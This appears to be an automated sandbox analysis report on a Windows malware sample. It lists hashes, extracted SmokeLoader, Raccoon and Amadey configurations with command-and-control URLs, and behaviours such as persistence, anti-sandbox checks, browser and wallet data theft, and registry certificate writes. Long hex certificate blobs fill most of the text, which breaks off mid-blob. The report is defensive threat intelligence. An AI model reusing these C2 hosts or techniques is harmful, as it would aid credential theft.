Analysis
-
max time kernel
151s -
max time network
148s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
24-10-2021 07:52
Static task
static1
Behavioral task
behavioral1
Sample
021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
Resource
win10-en-20211014
General
-
Target
021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe
-
Size
335KB
-
MD5
9a2ff6b89422fd5d1c64e51c30386d32
-
SHA1
44ecf3a5f52b4044b84421e654c881868cd0acc6
-
SHA256
021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017
-
SHA512
8a5941ea8ada618bf2e057d8a31c12f9d09e65074e80c35dfad586164a2c12af15bc611f4c0e0ffcb3a3599b319e70ce5b95d4621acafa2255828e1dfdd44701
Malware Config
Extracted
smokeloader
2020
http://xacokuo8.top/
http://hajezey1.top/
Extracted
raccoon
7ebf9b416b72a203df65383eec899dc689d2c3d7
-
url4cnc
http://telegatt.top/agrybirdsgamerept
http://telegka.top/agrybirdsgamerept
http://telegin.top/agrybirdsgamerept
https://t.me/agrybirdsgamerept
Extracted
amadey
2.70
185.215.113.45/g4MbvE/index.php
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/376-136-0x0000000000418D06-mapping.dmp family_redline behavioral1/memory/376-135-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/3528-169-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/3528-174-0x000000000041A24E-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
Processes:
WerFault.exeWerFault.exedescription pid process target process PID 836 created 1708 836 WerFault.exe D0AD.exe PID 2240 created 1448 2240 WerFault.exe BC1A.exe -
Downloads MZ/PE file
-
Executes dropped EXE 20 IoCs
Processes:
24D9.exe24D9.exe3F38.exe3F38.exe3F38.exe3F38.exeBC1A.exeD0AD.exeEEF4.exeFE47.exefl.exeBt.exeEEF4.exesqtvvs.exe12.exeservices32.exe15FE3522C4A8539009248.exesihost32.exesqtvvs.exesqtvvs.exepid process 4060 24D9.exe 924 24D9.exe 2580 3F38.exe 1140 3F38.exe 64 3F38.exe 376 3F38.exe 1448 BC1A.exe 1708 D0AD.exe 3236 EEF4.exe 3376 FE47.exe 3340 fl.exe 4036 Bt.exe 3932 EEF4.exe 2212 sqtvvs.exe 1496 12.exe 2088 services32.exe 64 15FE3522C4A8539009248.exe 648 sihost32.exe 2216 sqtvvs.exe 608 sqtvvs.exe -
Modifies Windows Firewall 1 TTPs
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Bt.exe vmprotect C:\Users\Admin\AppData\Local\Temp\Bt.exe vmprotect C:\Users\Admin\Documents\15FE3522C4A8539009248\15FE3522C4A8539009248.exe vmprotect C:\Users\Admin\Documents\15FE3522C4A8539009248\15FE3522C4A8539009248.exe vmprotect -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
123.exeBt.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 123.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Bt.exe -
Deletes itself 1 IoCs
Processes:
pid process 3028 -
Loads dropped DLL 6 IoCs
Processes:
cock.exepid process 1176 cock.exe 1176 cock.exe 1176 cock.exe 1176 cock.exe 1176 cock.exe 1176 cock.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
Bt.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run Bt.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\15FE3522C4A8539009248 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Bt.exe" Bt.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 6 IoCs
Processes:
021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe24D9.exe3F38.exeD0AD.exeEEF4.exesqtvvs.exedescription pid process target process PID 3168 set thread context of 2220 3168 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe PID 4060 set thread context of 924 4060 24D9.exe 24D9.exe PID 2580 set thread context of 376 2580 3F38.exe 3F38.exe PID 1708 set thread context of 3528 1708 D0AD.exe AppLaunch.exe PID 3236 set thread context of 3932 3236 EEF4.exe EEF4.exe PID 2212 set thread context of 2216 2212 sqtvvs.exe sqtvvs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exepid pid_target process target process 836 1708 WerFault.exe D0AD.exe 2240 1448 WerFault.exe BC1A.exe 2376 4036 WerFault.exe Bt.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
24D9.exe021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exedescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 24D9.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 24D9.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 24D9.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 832 schtasks.exe 3912 schtasks.exe 3292 schtasks.exe 3940 schtasks.exe -
Download via BitsAdmin 1 TTPs 2 IoCs
-
Processes:
EEF4.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d4304000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 EEF4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e EEF4.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 EEF4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e EEF4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 EEF4.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C\Blob = 030000000100000014000000d89e3bd43d5d909b47a18977aa9d5ce36cee184c1400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb040000000100000010000000285ec909c4ab0d2d57f5086b225799aa0f000000010000003000000013baa039635f1c5292a8c2f36aae7e1d25c025202e9092f5b0f53f5f752dfa9c71b3d1b8d9a6358fcee6ec75622fabf9190000000100000010000000ea6089055218053dd01e37e1d806eedf5c0000000100000004000000001000001800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa22000000001000000850500003082058130820469a00302010202103972443af922b751d7d36c10dd313595300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3139303331323030303030305a170d3238313233313233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c05000382010100188751dc74213d9c8ae027b733d02eccecf0e6cb5e11de226f9b758e9e72fee4d6feaa1f9c962def034a7eaef48d6f723c433bc03febb8df5caaa9c6aef2fcd8eea37b43f686367c14e0cdf4f73ffedeb8b48af09196fefd43647efdccd201a17d7df81919c9422b13bf588bbaa4a266047688914e0c8914cea24dc932b3bae8141abc71f15bf0410b98000a220310e50cb1f9cd923719ed3bf1e43ab6f945132675afbbaaef3f7b773bd2c402913d1900d3175c39db3f7b180d45cd9385962f5ddf59164f3f51bdd545183fed4a8ee80661742316b50d50732744477f105d892a6b853114c4e8a96a4c80bc6a78cfb87f8e7672990c9dfed7910816a1a35f95 EEF4.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 EEF4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e EEF4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f